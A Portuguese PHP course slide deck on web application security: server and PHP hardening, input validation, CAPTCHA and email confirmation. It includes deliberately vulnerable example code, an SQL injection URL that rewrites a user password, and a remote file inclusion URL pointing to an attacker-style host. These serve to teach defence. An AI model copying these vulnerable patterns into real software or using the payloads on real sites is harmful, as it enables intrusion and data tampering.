segurança (in portuguese)
DESCRIPTION
TRANSCRIPT
Segurança
PHP Advanced
Conteúdo
• Melhorar a segurança
• Validação de dados
• Prevenção contra scripts
• Projecto
• Resumo
2
Segurança
PHP Advanced
Sistema Operativo
• Manter o Sistema Operativo sempre actualizado
• Instalar todas as actualizações de segurança disponibilizadas
• Desligar todos os serviços não utilizados
• Auditoria de Sistema Operativo:
• Nessus: http://www.nessus.org/
3
Segurança
PHP Advanced
Apache
• Executar com user ID próprio
• Desligar módulo mod_autoindex
• Negar acesso a directórios não necessários
• templates, templates_c, lib, etc
• Negar acesso a ficheiros não necessários
• *.bak, *.tpl, *.*~, etc
4
Segurança
PHP Advanced
PHP
• display_errors = Off
• log_errors = On
• error_log = /var/log/php.log
• register_globals = Off
• session.use_trans_sid = 0
• open_basedir = /directorio/do/website
• expose_php = Off
5
Segurança
PHP Advanced
Input do utilizador
• Variáveis globais são um problema
• register_globals está desligado por omissão
• Mesmo assim convém inicializar todas as variáveis utilizadas
6
Segurança
PHP Advanced
Input do Utilizador
7
<?php
// (...)
if ($auth) { $fullAccess = true;}
if ($fullAccess) { // (...)}
?>
Segurança
PHP Advanced
Formulários• Nunca confiar no que o utilizador introduz num
formulário
• Nunca fazer include’s ou require’s utilizando variáveis provenientes de formulários
• Nunca manipular ficheiros utilizando variáveis provenientes de formulários
• É possível efectuar um POST a formulário através de JavaScript, mesmo sem estar na página do formulário
8
Segurança
PHP Advanced
Formulários
9
<?php
$fp = fopen($_POST[‘username’], ‘a’);fputs($fp, ‘Nome: ‘ . $_POST[‘name’]);fclose($fp);
?>
Segurança
PHP Advanced
Bases de Dados
• mysql_real_escape_string()
• Utilizar plicas em todos os valores sempre que possível
• Atenção a aplicações que usem paginação e validar o parâmetro correspondente ao número da página
10
Segurança
PHP Advanced
Bases de Dados
11
<?php
// URL: // http://example.com/?table=user+SET+password=%3Dmypass%3D+%23
$res = mysql_query(‘UPDATE ‘ . $_GET[‘table’] . ‘ SET visits=visits+1 WHERE id=’ . $_GET[‘id’]);
// Query realmente executado:// UPDATE user SET password=”mypass” # SET visits=visits+1 WHERE id=
?>
Segurança
PHP Advanced
Programas externos
• Nunca confiar em parâmetros de GET e passá-los como parâmetros de programas externos
• Utilizar sempre escapeshellarg() em todos os parâmetros de programas externos
12
Segurança
PHP Advanced
Inclusão de Scripts
• O bug mais comum é relacionado com a inclusão de scripts baseada em parâmetros GET
• Desligar o allow_url_fopen sempre que possível para não permitir a abertura de ficheiros remotos
13
Segurança
PHP Advanced
Inclusão de Scripts
14
<?php
// URL:// http://example.com/?page=http://mysite.com/attack
include $_GET[‘page’] . ‘.inc’;
// Na realidade é feito um include a// http://mysite.com/attack.inc// que poderá ter código malicioso
?>
Segurança
PHP Advanced
Sessões
• Poderá ser possível injectar o ID da sessão através de parâmetro GET ou de Cookie, tomando conta de uma sessão activa
• Esta técnica tem o nome de Session Fixation ou Session Hijacking
• Utilizar a função session_regenerate_id()
15
Segurança
PHP Advanced
XSS
• Nunca escrever directamente conteúdo proveniente de formulários ou de parâmetros GET
• É possível introduzir conteúdo num formulário que, ao ser escrito, abra uma localização remota e permita ao atacante obter informação sobre o utilizador
16
Segurança
PHP Advanced
Prevenção contra scripts• No registo
• Garante que só um humano se consegue registar
• Evita registos em quantidade ou um ataque propositado
• Na autenticação
• Evita tentativas de obter autenticação através de força bruta
17
Segurança
PHP Advanced
Prevenção contra scripts
• CAPTCHA
• Completely Automated Public Turing tests to tell Computers and Humans Apart
• Garante que o formulário foi preenchido por um humano
• Validação por Email
• OpenID
18
Segurança
PHP Advanced
PEAR::Text_CAPTCHA
• Instalação
• pear install Text_CAPTCHA
• pear install Image_Text
• Obtenção de uma font TTF
19
Segurança
PHP Advanced
PEAR::Text_CAPTCHA
20
Segurança
PHP Advanced
PEAR::Text_CAPTCHA
21
Segurança
PHP Advanced
PEAR::Text_CAPTCHA
22
Segurança
PHP Advanced
reCAPTCHA
• Web Service
• Biblioteca em PHP
• Disponível em http://recaptcha.net/
• Ajuda a digitalizar livros
23
Segurança
PHP Advanced
Validação por Email
• Tornar obrigatória a inserção do endereço de Email no formulário
• Após o formulário ter sido preenchido gerar um ID e gravá-lo juntamente com os dados
• Enviar uma mensagem ao endereço introduzido com instruções de confirmação
24
Segurança
PHP Advanced
Projecto
• Escolher um dos mecanismos de prevenção contra scripts e implementá-lo nos formulários de registo e de autenticação
25
Segurança
PHP Advanced
Resumo
• Melhorias na segurança
• XSS
• CAPTCHA
• Validação por Email
• Implementação
26
OOP em PHP
PHP Summer School
Questões?
27
Segurança
PHP Advanced
Mais informação
28
• O meu blog: http://unfoldingtheweb.com/
• Manual de PHP: http://www.php.net/
• PEAR: http://pear.php.net/
• reCAPTCHA: http://recaptcha.net/